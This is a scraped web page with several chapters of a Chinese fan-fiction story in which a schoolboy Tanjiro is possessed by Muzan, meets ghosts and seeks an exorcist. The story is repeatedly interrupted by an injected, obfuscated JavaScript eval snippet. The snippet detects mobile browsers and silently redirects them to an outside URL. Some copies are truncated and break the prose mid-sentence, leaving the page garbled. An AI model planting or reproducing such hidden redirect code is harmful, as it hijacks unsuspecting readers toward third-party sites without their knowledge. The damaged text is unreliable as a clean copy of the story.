;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041383|194698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我也很贤惠的。” 虽然这一次手和脚都缝对了,但是针脚很粗糙,就连鼻子也是歪的。 “好丑。” 香奈乎没说什么,但是伊之助率先嫌弃道。 “你说什么!”善逸开始魔音灌耳。 炭治郎赶紧安抚着善逸,这才让两人没有闹起来,老师走过来只是点评了一下他们做的东西。 对于炭治郎做的小熊,老师很满意。 炭治郎还问小熊是从哪里买的,因为他想给家里的弟弟妹妹都做一个。 他记得上一次家政课上做了一个风铃,结果家里每个弟弟妹妹都想要,但因为只有一个,最后大家一致决定挂在这里的店里了。 可这一次小熊就不适合放面包店里了,一个小熊也不太好分,所以他才要每个人都做一个。 幸好老师告诉他了那家店的地址。 等放学后炭治郎就可以去买。 最后一节是历史课,听着炼狱杏寿郎老师在那里用洪亮的声音,在那里讲着战国历史,炭治郎简直是想睡都睡不着。 不过虽然炼狱老师说话的声音大,但讲课还是很有趣的。 那些已经成为历史的故事,就像一段段传奇一般。 最后一节课上完,放学铃声响起。伊之助和善逸还有社团活动,而他因为想早点回店里帮忙,所以属于是归家部的。 但他也不是一个人。 “祢豆子。”他来到一年级C班,祢豆子早已收拾好书包在等他了。 “哥哥。” 祢豆子背上小书包,与他一起回家。 “祢豆子,稍微陪我一下好吗?”回家前,他还想去个地方。 他带着祢豆子来到家政老师说的那家卖手工材料的店,果然在货架上找到了同款小熊。 “哥哥,你要为我们每个人做一个吗?”祢豆子惊喜道。 “嗯,也不知道竹雄会不会喜欢。”炭治郎有些担心已经算个大孩子的竹雄会不会喜欢这种可爱的东西。 祢豆子轻笑:“只要是哥哥,你亲手做的,他一定会喜欢的。” 竹雄就算不喜欢可爱的小熊,但只要是炭治郎哥哥做的,那他就绝对喜欢。 “希望吧。” 炭治郎很快拿了六款不同颜色的小熊去结账,结账时祢豆子付了一半的钱,按她的话说,她也是姐姐,那也应该给弟弟妹妹准备些心意,不能让炭治郎一个人准备。 炭治郎没有拒绝祢豆子的这一份心意。 回去的路上,他拎着购物袋与祢豆子聊着天,对方想让炭治郎教她怎么缝小熊。 炭治郎笑着答应。 两人站在斑马线前等着红灯变绿,好穿过马路。炭治郎还在与妹妹谈天说地,突然他不说话了,因为他看到有一个足球滚了过来,然后一个小男孩跑向他,似乎是来捡球的。 可现在是红灯啊! “滴滴滴!” 这时一辆大货车正疾驰而来,眼见着就要撞上那孩子。 “小心啊!”他飞扑过去。 “你这个蠢货!那是…” 无惨的声音响了起来,可他已经听不清了,一心救人的他,跨出斑马线,下一刻却双腿一软倒在地上,似乎有什么抓住了他的脚… 6. 第 6 章 炭治郎跪在地上动弹不得,那辆疾驰而来的大货车显然已经发现他了,但是想踩刹车已经来不及了。 只有急促的鸣笛声。 眼见大货车就要撞上来,炭治郎感觉背后有什么顶了自己一下,他立刻滚出去好远,与大货车擦身而过。 “哥哥!” 目睹到这么危险一幕的祢豆子惨白着一张脸跑了过来。 她抚起地上的炭治郎,上下检查着,除了有些擦伤外,并没有很严重的伤。 可即使如此她还是哭了出来:“哥哥,好好的你怎么冲出马路,吓死我了!” 明明刚刚她和哥哥聊得好好的,可哥哥却突然一言不发地冲了出去,就像是主动寻死一样。 “唉?” 滚了几圈的炭治郎被这么一吼,有些疑惑,然后突然又开始左顾右盼起来:“那个孩子呢?祢豆子,那个男孩没事吧。” 他明明是要去救那个差点被车撞的孩子,结果自己却摔了一跤。 还有刚才他好像感觉自己背后好像长出了什么,这才把他顶了出去了,免于车祸。 “孩子?”祢豆子一脸疑惑。 “蠢货!你差点被地缚灵当替死鬼了!”无惨恨铁不成钢地怒吼道。 这个灶门炭治郎怎么那么爱管闲事!上次差点被女鬼杀死当玩伴,这一次又差点被当替身。 刚刚那个男孩,原本就是因为车祸死在这个路口的,想要投胎得抓一个人代替自己。如果不是自己,那这个炭治郎已经是一具尸体了! “无惨,你又在乱说话。哦,我明白了,刚刚那是幻觉吧。”炭治郎内心腹诽道。 一定是上次摔跤的后遗症,现在不仅仅是产生了第二人格,就连幻觉都出来了,他果然应该听香奈惠医生的,去做个脑部CT。 原先只是第二人格还不影响什么,现在幻觉都出来了! 如果无惨此刻能做出表情,一定是脸臭无比。 前世害他下地狱的灶门炭治郎这么天真愚蠢的嘛! “哥哥,咱们去医院吧。”见哥哥突然沉默不说话,祢豆子担忧地说道。 “不用了,真的不用了。”炭治郎觉得自己只是一点小伤而已,可是当他试图自己走时,却发现右脚踝痛得根本走不了路。 他掀开那里一看,只见脚踝都肿得发黑,那印子就像是一个孩子的手掌印。 现在这种情况不得不去医院了。 “炭治郎!你怎么样了。” 炭十郎、葵枝接到祢豆子电话赶来时,炭治郎已经包扎好了,正躺在病床上,祢豆子在给他削苹果。 见到手腕缠着纱布的孩子,葵枝立刻上前关切地瞧着他。 “担心死妈妈了,好好的怎么会出车祸呢。” “妈妈,别担心,医生说我没什么事。” 经过检查,炭治郎只是有些擦伤而已。 “哼,接受了我的力量,这么些小伤马上就能好。”无惨适时地说道。 炭治郎没有理他而是问起家里的弟弟妹妹们,爸爸妈妈都来了,那弟弟妹妹们怎么办? 炭十郎:“家里还有竹雄呢,你别太担心。倒是你炭治郎,下次马过路时,可不能迷糊了。” 幸好这次只是擦伤,万一这个孩子出了什么事,他们得伤心死。 炭治郎满是愧疚地点头:“知道了,爸爸。” 这一次,确实是他不好。 夫妻俩给炭治郎带了换洗衣物,又给他买了一些好吃的,与祢豆子一起待到八点多,三人才回了家。 医生也跟他们说了,炭治郎没什么事,就是需要再住院观察两天,之后就可以回家了。 炭治郎想拍的脑部CT,这一次也拍了,明天就能知道结果。 希望能把幻觉给治好吧。 炭治郎拉过被子,心中暗想道。 “很正常。” 第二天,CT结果出来了。医生看着CT片子,一脸认真道。 “真的吗?”炭治郎疑惑道。 “可是我真的能听到有人在我脑海里说话,还有幻觉。” 根据CT的显示结果来说,炭治郎的脑子很健康,没有淤血,也没有任何病变的情况。除了脑袋硬一点外,和普通人健康正常的脑子没有任何区别。 甚至只要炭治郎愿意,今天就可以出院了呢。 但听到炭治郎的讲述,主治医师觉得这个目光真诚的男孩,不像说谎。 “可能是因为心理压力的原因吧。” “这样吧,你去我们医院的精神科看看。”他也知道这年头的孩子,心理疾病问题挺多的,便建议道。 “嗯,谢谢医生。”炭治郎虚心地接受了医生的建议。 离开前,他还贴心地把门关上,不过与此同时,他也更加疑惑,怎么会是他的心理有问题呢?他有一个幸福的家庭,同学之间也相处得不错,还有好多挚友。虽然成绩中等,但也没有差到哪里去,父母对他的成绩也没有特别要求。 像他这样的人,也会因为有心理压力,而产生人格分裂和幻觉吗? 总之,先去看一下吧。 炭治郎来了精神科,在那里医生给了他一张表,让他先填了一下。 就是一些很普通的问题,家庭和人际关系方面的,他很快就填好,交给医生。 医生接过仔细看了一下,然后得出结论。 “灶门小朋友,这张表你没有作假吧。”他问道。 “没有。” 心理医生接触的人多了,可以看出对方没有在说谎。 “从这张表上看,你的心理很健康。” 是一个热情、活泼、温柔、善良的好孩子。前提是对方确实是认真写了,没有在隐藏什么。 从表格上来看,他没有任何心理疾病。 “为什么会来找我,是有什么青春期的烦恼吗?”既然表格上看不出什么,那他就直接问了。 “嗯…”炭治郎有些不好意思:“其实是我三天前摔了一跤后,我多了一个人格,而且还能看到幻觉。” “是一个什么样的人格?”看来有问题的是第二个人格。 “那个人格叫鬼舞辻无惨,特别地中二、小心眼、毒蛇,还爱晒太阳,总感觉是个很恶劣的人呢。”虽然只是相处了几天,但是炭治郎还是把内心最真实的感受讲了出来。 “炭治郎!你就是这么对你的救命恩人的吗?” 无惨简直要气死了!自己做什么都是对的!这个无礼的炭治郎怎么可以这么贬低自己! “可我说的是事实啊。”炭治郎真诚道。 “而且看医生不就应该实话实说吗 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看着炭治郎离去的背影,心理医生摸了摸鼻子,显得有些不好意思。 这个病人的鼻子还挺灵的,自己一个小时前吃的草莓蛋糕,还能闻出来。 嗯,那也正好去对方店里看一下吧。观察一下,患者是否是因为家庭原因,而产生的心理疾病,导致精神分裂的。 当天晚上,他就要来了炭治郎家的地址,去那里买了面包。 经他的观察,虽然那家店是家庭作坊,但是父母恩爱,弟妹懂事、家庭和睦。看来人格分裂的原因,不是因为家庭。 虽然从心理医生那里也没有查到人格分裂的理由,但是和别人聊过人格分裂的事后,炭治郎明显心情好多了。 他按照医生说的,记录下第二人格所说的那些话。 对方的话其他并不多,每天说的最多的无非是关于什么鬼啊怪的事。 他说自己是个鬼,吃人的那种,还要自己去继承他的力量,变成他的同类。 感觉真的很中二呢。 还有就是会经常要求看看太阳,根据无惨所说,他已经一千多年没见过阳光了。他生前最渴望的事,就是要克服阳光,一直活下去,成为完美的生物。 “成为完美的生物之后呢?”炭治郎问道。 “然后活下去。” “活下去之后呢?” 无惨沉默了,因为他从来没有考虑过一点,从前的他只是一心想找到蓝色彼岸花,克服阳光,至于其他都要往后排排。 见他不说话了,炭治郎在笔记上,关于无惨的性格上写下贪死怕死这几个字。 无惨:“涂掉!别再听那个庸医的话了!” 无惨这辈子最讨厌医生了! 但炭治郎还在继续写:讨厌医生,对医生有偏见。 他合上笔记本:“不行哦,无惨。生了病就是要好好看医生的,谨遵医嘱才能好得快。” 前世医闹过的无惨,又传来不快的气息。 总之,目前在炭治郎看来自己和这个第二人格相处得还算和睦。 晚些时候,他的朋友们来看他了。 7. 第 7 章 “笨蛋,笨蛋,你怎么这么不让人省心!” 善逸边捶打着他,边哭诉斥责。 “刚摔下楼梯没多久,就又出车祸!” 当他从祢豆子那里得知这个消息,简直是要把他魂吓飞了。 “可恶!那个司机呢!老子要把大卸八块!”伊之助撸起袖子,一脸气呼呼地想要抓住那个司机,好好修理一顿。 “善逸,你快拦住他。” “这不关司机的事啊,是我不小心闯红灯了。”炭治郎行动不便,赶紧让善逸阻止冲动的伊之助。 好在有善逸在,才没让伊之助跑出去。 两人将慰问品带来放在桌子上,玄弥本来也要来的,但家里的弟弟突然发烧了,才没有来成,但慰问品他也是出了钱的,还有香奈乎等其他人也出一份钱。 伊之助坐在炭治郎床边,拿起带来果篮中的苹果,在那里气呼呼地吃。 “哼!如果不是看在圆五郎的面子上,我一定要拔光那司机的头发!” “不要给人家司机添麻烦啊。”炭治郎无奈道。 本来就是他自己突然冲出去,怕是吓坏了对方吧,可不能再因为自己,让对方受到无妄之灾了。 陪炭治郎聊了一会后,善逸他们便回去了。晚上葵枝妈妈来送了骨头汤,希望儿子能早点好起来,她还与医生聊了一会,得知炭治郎后天就能出院了。 如此她便放心多了。 送完骨头汤,葵枝又匆匆忙忙回去了,她让炭治郎照顾好自己,有什么事就打家里电话。 炭治郎点点头,让妈妈安心,他会自己照顾自己,而且他也不会无聊,还有第二人格陪他聊天呢。 一周后,炭治郎拿着那个笔记本交给医生,看着笔记本上所记录的关于第二人格的事,医生有些佩服这孩子真挺能聊的。 几天就能写出这么多事来。 他认认真真地看着上面的每一个人字,果然都是一些很恐怖的内容。 鬼、吃人、血肉… 是一个非常恶劣阴沉,没有慈悲心的人格。 这怎么看都不应该是一个阳光健康的人,会产生的人格。更别说他已经和灶门的主治医师聊过,虽然灶门脑子受过伤,但那只是皮外伤。 根本不会因为这点皮外伤,而产生一个性格截然相反的人格。 一般来说,因为心理原因而产生的人格,都是因为自身缺了些什么。可灶门这个普通的少年,对事物带着天然的乐观,不应该有什么缺陷才对。 他产生人格分裂的原因,看来更加复杂。 只是通过聊天,看来是得不出什么结论了。 现在也只有一个办法了。 “灶门小朋友。”他合上笔记本。 “我现在想通过催眠,唤起你的第二人格,暂时让那个人格接管身体,可以吗?” 炭治郎点点头,为了治病,他都会配合的。 医生拿出怀表来,有节奏地在他面前摆动着:“炭治郎,听我说…” 医生的声音很轻,很柔,炭治郎紧盯着那块怀表,眼皮很重,耳边的声音越来越模糊,他逐渐闭上眼睛。 之后的一切,他都不知道了,他好像又做梦了。梦中有可怕的吃人怪物,但他一点也没有觉得害怕,在他的手中有一把黑色的刀… “炭治郎…” “炭治郎…” 有谁在叫他…是谁…谁… “灶门!” 炭治郎猛地睁开眼,看到医生一脸恐惧地被逼到墙角,左手臂上有一道伤口,空气中满是血的味道。 “医生,你怎么了?” 他欲走上前扶起对方,然而医生却瑟缩地紧贴在墙边:“别过来。” 炭治郎这时才注意到自己手中有一把剪刀,剪刀上带着血迹。 他赶紧扔掉剪刀,不停地向医生道歉:“对不起,对不起医生。” “无惨,你怎么可以伤害医生!” 炭治郎立刻明白过来,是自己的第二人格在那里伤人。 “这个庸医该死!” 炭治郎叹气,这人是有多讨厌看医生。 见是正常的炭治郎回来了,医生松了一口气。他没想到自己只是做个催眠而已,却差点把小命弄掉。 他后怕地从地上站起,给自己倒杯水压压惊,可是那双手还在抖,水都撒出来了。炭治郎见状,赶紧帮着倒了一杯水。 他扶着医生坐下,轻声安慰道:“医生别怕,我不会让他再伤害医生的。” 此刻两人的关系像是反了过来,炭治郎才像是个心理医生一般。 或许是炭治郎太有安全感了,喝过水后,医生的心情平复了不少。 炭治郎又找来绷带,替医生包扎。 或许是因为心理医生总是会遇到一些突然发狂的病人,所以诊室里急救用品还很齐全。只是这一次对于医生来说,已经不是简单的发狂病患那么简单了。 炭治郎重新坐在医生对面,再一次为自己的所做所为道歉。 虽然不是他直接伤了医生,但也是因为自己分裂出来的不良人格。 “医生,我这病还能治吗?或者让无惨的心理健康些?” 只要无惨不干坏事,他倒是不介意和这个人格共享身体。 医生抿了抿唇,只是时不时看了炭治郎,又看了一眼差点杀了自己的剪刀…最终他深吸一口气,似乎下定了很大的决定。 “灶门小朋友,对不起我看不了你的病。” 炭治郎心里咯噔了一下:“很严重吗?” “这不是严不严重的问题。”他的神色很难看。 他将诊费退还给了炭治郎。 “用这些钱去找个人驱驱邪吧。” “啊?” 炭治郎不解地看着中手的钱,完全不明白医生这么说的用意。 为什么看个病,还要找人驱邪。 “呵呵~” 无惨又在他脑海里笑了,这一次他倒是笑得十分得意。 “我已经病到这种程度了吗?” 课间休息,炭治郎坐在位置上,看着窗外的景色不断叹气。那天回去之后,他又仔细想了想医生说的话,他想或许医生让他找人驱邪,或许只是提示他找和尚。 这找和尚,不就意味着他根本活不长了嘛。 唉,他倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“圆次郎的五千米也由俺承包。” 体育委员摇头:“不行,按规定一个人最多只能报三个项目,嘴平同学你的名字已经满了。” “那又有什么关系!多报一个别人又不知道!” 对于这种运动比赛,伊之助一向很积极,并且总是会争着拿好名次。 只见他一脚踩在桌子上,逼着体育委员把自己的名字写上。 “伊之助,别这样。这是规定也没有办法啊,被老师知道的话,伊之助在其他比赛中取得的好名次也会取消的,这伊之助就争不到第一了。” 听到炭治郎的话,伊之助这才放开体育委员。 “好吧,就听炭八郎的话。” 见伊之助老实下来,炭治郎这才笑着看向体育委员和香奈乎:“五千米就写我的名字吧,没关系我的伤本来就没什么大事,而且还有一周才是运动会,到那时我早就好了。” “嗯,好吧。”香奈乎想了想还是决定尊重炭治郎的决定。 “但是炭治郎如果到那时,你还不舒服的话,就让我来代替你好吗?”香奈乎的运动能力也很好。 她想如果到时炭治郎不能跑步的话,就由自己代替了。 炭治郎点点头。 五千米长跑就决定是炭治郎了,至于接力赛,就还是由善逸参加,不过他倒也是乐意,因为他的下一棒是香奈乎。 相信到那天,善逸一定会全力奔跑吧。 8. 第 8 章 “那我去散步了。” 吃过晚餐,炭治郎穿上鞋子准备去外面跑跑。 由于马上就要运动会了,报名参加了五千米长跑的他,决定这段时间每天晚上去跑一圈,找找感觉。 “等一下炭治郎。”葵枝叫住他。 她给他一些钱:“家里酱油没了,回来的时候带一瓶。” “另外,跑步的时注意车辆,知道吗?” 或许是因为一朝被蛇咬十年怕井绳,现在看到炭治郎一个人出门,她总是忍不住担忧。 炭治郎知道妈妈让自己带酱油回家,是让他有个牵挂。 他重重地点头:“我会的。” 带着妈妈的叮嘱,他来到外面,准备夜跑。 虽然前段时间连续两次受伤,但是都是一些轻伤,并没有影响什么,他一口气跑了半个小时,也只是轻微地出汗而已。 他出来时天还有些亮,现在则完全黑了。 他又往前跑了一段,找到了一家便利店,准备买瓶水,休息一会后继续跑。 他走进便利店,来到冰柜前拿了一瓶矿泉水,许是因为到下班时间,排队的人很多,炭治郎耐心地等待着。 排在他前面的两人似乎是上班族。 “早川前辈还没有找到吗?” “没呢,你说人好好的,怎么会失踪呢,前段时间不是还交到一个很漂亮的女朋友吗?” “对啊,那个叫富江的女人可真漂亮!早川的艳福可太好了,如果富江是我女朋友,我死也愿意。” 富江?这个名字,自己好像在哪里听过。 那两人就排在炭治郎前面,炭治郎想不听都不行,但他总感觉自己似乎在哪里听过富江这个名字… 还没想到是在哪里见过富江,就轮到他付钱了。 他拿着那瓶水走出便利店,继续夜跑,很快将富江这个名字抛之脑后。 夜深,他见时间不早了,便打算回家,不过在回家之前,他也没有忘记去买酱油。 他记得从这里拐过两个路口,就有家便利店。 走到十字路口前,他刚准备右拐,却见有个小女孩在前面的小巷前哭。他放弃了现在去买酱油的想法,小跑上前,蹲在女孩面前。 “小妹妹,你怎么了?”他问道。 “又多管闲事。”无惨不快的声音传来。 炭治郎没有理他,依旧带着温和的笑容看着小女孩。 “咪酱,咪酱跑进去了。” “咪酱,是你养的猫吗?”炭治郎问道。 小女孩点点头:“小武说巷子里有可怕的怪物,咪酱跑进去,会不会被吃掉。” 看来是家长们为了警告孩子别去危险的地方,编的恐怖故事,小女孩怕故事中的怪物,不敢进去吧。 “那哥哥帮你进去找咪酱好不好,别哭了。” 听闻,小女孩终于不再掉眼泪了,忍着泪缓缓地点头。 炭治郎摸了摸她的头:“那你在这里等着,不要乱跑哦。” 小女孩的体温是暖的。 “嗯。” 炭治郎走进巷子里。 “咪酱,咪酱,你在吗?” 他喊着小猫的名字,不断往前走着。 话说,这条巷子好长啊。而且还散发着一股怪味,就像是混杂了很多尸体腐败的味道。 “哗哗~” 水流的声音从脚下响起… 这脚下是下水道吗?炭治郎站在原地,似乎听到了水流的声音,这一片都是住宅区,肯定配有完善的下水道设施,有水流声倒是不奇怪。 只是…血的味道更浓了。 而且似乎就在不远处… “喵喵喵…” 是猫叫声,肯定是咪酱! “咪酱,不要躲了,快出来吧。” 再往前走几步,他果然闻到了猫的味道,那只猫身上还带有巷口小女孩的气息,果然就是咪酱。 他正欢喜地跑上前想要抓住咪酱,但黑暗中咪酱的声音突然变得尖锐起来,那股血腥味更浓了… “啪嗒…啪嗒…” 那是什么声音,好像有什么湿漉漉的东西爬过来了… 就像是婴儿在地上爬行一般… “喵…喵…” “啪嗒…啪嗒…” 猫凄厉的叫声和那股怪声越来越大,腥臭味更浓了… “灶门炭治郎你还愣着干什么!” “快跑!” 体内的无惨提醒他离开这里… 可是… 炭治郎咬咬牙,朝声音的方向跑去,他不能丢下咪酱就这样跑掉… “啪嗒…啪嗒…咕叽…咕叽…” 黏腻的声音中,似乎有什么吞咽声…那幽深的小巷尽头,是一面墙堵住了路。炭治郎看到墙边有什么东西,那东西坐在井盖旁,背对着他。 那似乎是个人… “请问…” 他走上前两步,想问问这个是怎么回事?为什么有这么浓重的血腥味,他受伤了吗?但还没有走两步,他便停下脚步… 正如他所想的那样,坐在墙边的是个人,但只有上半身半截,他的皮肤惨白而龟裂,浑身湿漉漉地不断往下滴落绿色黏液… 听到炭治郎声音,他猛地回头,那张惨白的脸上,瞳孔是骇人的绿色,犹如一只头狼般。 看见炭治郎的他,嘿嘿一笑,露出满嘴的血,从那锋利的牙齿上掉下一块肉来。啪嗒一声落在地上,看得人头皮发麻。 这是幻觉吗? 不!那扑面而来的血腥味,告诉炭治郎眼前的一切都是真的! 眼前真的有一只鬼! 那鬼物发现了自己的猎物,立刻双手当脚用,朝着炭治郎爬去。虽然只有半截身子,但是对方速度极快,姿势诡异…炭治郎还能看到对方腹部断口处,那甩出来的肠子迎风摆动… 逃逃逃… 他要逃…他转身要逃,可是脚却动不了,他跌坐在地上,发现两只脚上都被缠上湿漉漉的头发。 他拼命地去扯那些头发,可头发却硬如铁链,怎么也扯不开。 而那怪物已经飞扑上前,锋利的指甲,即将剖开他的肚子… 他要死了吗?爸爸妈妈、祢豆子、竹雄、茂、花子、六太… 生命的尽头,他还是放不下他的家人… 可他只是一个普通的高中生而已…根本不是恶鬼的对手… “我和祢豆子的羁绊…” 他闭上眼的那一刻,脑袋中突然出现陌生的画面。他看不清那画面是什么,但是他看到一团美丽的火焰,犹如灿烂的艳阳… 他猛地睁开眼,却见那怪物被一团怪肉阻止,动弹不得。 他仔细一瞧,那怪肉竟然是他的右手。 就在他愣神间,那怪肉将那鬼一口吞下,然后蠕动着吸入体内…< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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巷子口,小女孩正在焦急地等待着,见那个红发哥哥还没有回来,她又忍不住要掉眼泪,就在那眼泪在眼眶中盘旋,要掉下来之时… “喵呜…” 她惊喜地瞪大眼睛,是咪酱的声音。 她朝巷子里看去,只见黑暗中,有一团火。那团火越来越近,刚刚那个红发哥哥怀中抱着小黑猫走了出来。 “咪酱!” 她欢快地跑上前去,伸手从炭治郎那里接过小黑猫。 “谢谢你,大哥哥。”她开心地抱着小黑猫,激动地与它贴贴脸。 小黑猫也很高兴回到小主人身边,用舌头轻轻舔了对方的脸。 看着女孩幸福的笑容,炭治郎笑着说道:“早点回家去吧,下次不要和咪酱走丢了哦。” “嗯。”小女孩抱着猫咪跑回家,但还没跑多远,女孩转身握着小黑猫的爪子朝炭治郎挥手。 “哥哥,谢谢你!找回了咪酱。” 随即她这才欢快地跑回家。 太好了,总算是帮到她了。 帮到了小女孩和自己的猫重聚,炭治郎也很高兴,这时他手机响了,是祢豆子打过来的,问他怎么还不回家。 炭治郎一看时间,已经九点了。 自己已经出来三个小时了,却没有发消息回去,家里人肯定担心坏了。 他赶紧跑回家! 等一下,他还有酱油没有买呢! 9. 第 9 章 幸好,炭治郎找到一家二十四小时的便利店,这才买到了酱油。 回到家时,他被父母叫到一旁,训了一顿。 就算是要去夜跑,那也应该发个信息回家。天知道见炭治郎这么久没有回家,他们有多担心。 “对不起。”炭治满是愧疚道歉。 如果不是遇到那个鬼的话,他已经回来了。 可是他不想让父母担心,便没有把遇鬼的事说出来。 只是在夜深人静的时间,他还在看着自己的右手… 刚刚在洗澡之前,他去称了个体重,和平常没有什么区别。 可是明明无惨控制着他的身体,吞了半个人,怎么会一点变化都没有呢? 吞掉的分量都去哪了? “还有那么脏的东西,这就这样吞掉,不会得传染病吧。” 刚刚那个鬼是从下水道里钻出来的,浑身脏兮兮,还带着黏液,怎么看都是一身病菌的样子。 “无惨,下次别看到什么就吞下去,多脏啊。” 即使炭治郎下定决心要去驱鬼,但也不忘好好教育无惨。不能乱吃东西,这不是每个人从小应该知道的吗? 无惨生气:“炭治郎,你把我当成什么了!” 当时情况紧急,他又只能控制炭治郎身体的一部分,时间太短,他只能这样做。 自己又救了对方一命,他却说这种话! 炭治郎:“当然是鬼啊。” 这一次终于不是可笑的第二人格了,但无惨还是觉得哪不对劲! 究竟要等到什么时候,这个天真的灶门炭治郎才能明白,他的使命就是继承自己的力量。 虽然是惊心动魄的一晚上,但许是知道了自己并没有人格分裂,也没有得什么绝症,只是普通地被鬼附身了,加上还帮小女孩找到了自己的猫。 炭治郎那晚睡得格外好。 就连善逸和伊之助,也看出来炭治郎的心情很好。 “怎么了,炭治郎遇到什么好事了?是找到女朋友了吗?”善逸打趣道。 炭治郎摇头:“没什么,我的病总算快治好了。” “那就好,五千米长跑,就不会落在我身上了。”善逸哈哈大笑起来。 “喂,你们快点,去美术室了。” 下一节课是美术课,伊之助提醒他们快点拿上东西去美术室。 炭治郎和善逸这才不继续聊了,而是拿上画具一起去了美术室。 “你知道你们的画最缺的是什么吗?” 美术课上,宇髓老师突然问起来他们画的缺陷。 众人低头根本不想回答,气氛有些低迷…倒也不是不知道如何回答,只是… “你来说!”宇髓突然指向炭治郎。 炭治郎站起来:“是技巧!” 他一脸真诚地说道。 善逸赶紧拉了拉他的衣服:“炭治郎,你忘了加华丽二字了。” “我妻同学说得不错!是华丽!是华丽啊!” 学生之间的气氛更低迷了,谁都知道宇髓老师真的是三句话离不开华丽,且说起华丽来简直是滔滔不绝… 果然宇髓老师又在发表关于华丽的看法,众人只能默默忍受地听着,并且不敢插一句嘴,生怕对方与自己探讨华丽。 “宇髓老师,我把画拿过来喽。” 突然一道甜美的声音传来,一位漂亮的粉发女孩推开门,带来一幅画。 众人眼前一亮。 太好了是甘露寺助教!他们有救了! “啊,甘露寺啊,把画放这边吧。”见甘露寺过来,宇髓这才恢复了点老师的模样。 他与甘露寺把画放好,展示给同学看。 “不愧是愈史郎大师的画呢,无论看多少次,都很感动,这画让人感到深深的爱恋,太棒了!” 看着画中,那美丽神秘穿着和服的女性,甘露寺流下感动的泪水。 愈史郎是他们美术界有名的画师,他的画每一幅都是传世之作,但他永远只画一样东西,便是这位名为珠世的女性。 谁也不知道珠世是谁,也不知道她与愈史郎是什么关系,但传说那是愈史郎早逝的恋人。 不过虽然愈史郎大师的画很受欢迎,但他从来也不会卖出任何一幅画,就连他们手上这幅也只是临摹的赝品罢了。 宇髓认同地点了点头,他也从这画中感觉到了深深的华丽! 他让学生们好好看看这幅画:“这就是华丽,你们明白了吗?” 学生们:完全不明白呢。 宇髓:“现在好好看着这幅画,然后把你们的感觉倾注在自己的作品上,也画出一幅珠世来!” 甘露寺替众人打气:“加油,把你们对恋爱的感觉画出来!” 恋爱啊…炭治郎拿起画笔,自己没谈过恋爱,完全不知道怎么画,如果是亲情的话,那他肯定能画好。 而且他感觉那幅画与其说是恋爱,不如说是悲伤还有遗憾… “珠世小姐…” “不许画!” 他正准备按自己的感觉临摹那幅名为“珠世”的画,突然听到无惨一声暴呵。 那语气之凶,把炭治郎都吓了一跳。 “怎么了无惨?”他在内心问道。 “我哪里画得不好吗?” 不对啊,他都还没有开始动笔呢。 “不许画珠世这个该死的女人!” 如果不是珠世的话!区区鬼杀队怎么可能赢他!可恶的珠世!在地狱见面时,还敢嘲笑他!说他无能! “啊?你认识珠世小姐吗?” “认识,一个该死的叛徒!” “哦,那肯定是无惨不对。” 听到无惨对珠世的评价,炭治郎立刻说道。 以无惨这种不把别人当人的性格,被他人背叛一点也不奇怪。 无惨又在那里气得破防,开始破口大骂。炭治郎无视那些怨天怨地的话,继续画起来。他每画一点,体内的无惨便生气一分。 一节课下来,炭治郎能感觉到满满的怒意,特别是当他站起身时,环顾四周看到各种各样珠世的画作时…那股怒意更盛了。 这么大一幅画,一节课根本画不完,接下来好几节美术课,怕是无惨有得气呢。 但谁知道还有没有下次呢。 因为此刻炭治郎正站在一个鸟居前… 放学后,他并没有和祢豆子一起回家,而是来到一间神社前。 电视上都是这么演的,恶灵是接近不了神社的。 炭治郎深吸一口气,然后跨过鸟居,他回头望了一眼,好像没有什么特别的感觉。他一步步地走上台阶,来到神社前,扔下五百元在功德箱内,然后参拜。 “希望无惨离开我的身体。” 他许下愿望。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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对了,可以上网查查,说不定网上有线索。 他来到网吧,开了一台机子。 坐进包厢,关上门,开始在网络上搜索关于灵能力者的事。网页上大部分都是只是一些灵异故事而已,还有过去一些关于灵能力者的报道,不过最后都揭示了那只是骗局而已。 炭治郎一页页地翻过去,眉头越皱越深,直到在翻了十页后,他看到一条信息。 “世纪的天才灵能力者——灵幻新隆” “替你解决您身边的一切灵异事件。” “就是这个!” 炭治郎惊喜地瞪大眼睛,然后点进这个网页。这是一个个人制作的网站,网站上写满了关于这位灵幻大师的光荣事迹,而且还附带了项目价格。 什么!驱一次邪只要5000!而且如果是永久性驱邪只要8888!好便宜! 如果是这个价格那他完全付得起! 最下方还有咨询入口!完全可以咨询一下。 现在才晚上七点,对方应该还在线吧。 他想试一下,于是点开聊天框,输入文字。 【你好,我想咨询一下驱邪的事。】 打完这段字,炭治郎有些心急地等待着,期待着回复,每一分钟都变得漫长… 三分钟后… “嘀嘀~” 对方回复了! 10. 第 10 章 【你好,欢迎咨询灵类相谈所,我是灵幻大师的助手,请问有什么能帮到你。】 看着电脑上的文字,炭治郎觉得这个叫灵幻的大师很靠谱呢,还有助手! 于是他赶紧打下文字。 【是这样的,我被恶灵附身了,想要驱除他。】 【原来如此,被恶灵附身了,看来你最近过得很辛苦呢。】 【是啊,助手你好厉害,这都知道。】 【哪里,这是幻灵大师说的。】 果然是个很厉害的大师呢。 【附身你的是男鬼还是女鬼?长什么样?死了多少年了?】 “无惨,你死了多少年了?” 无惨不说话。 好吧,自己都要驱除对方了,他不肯说也正常。 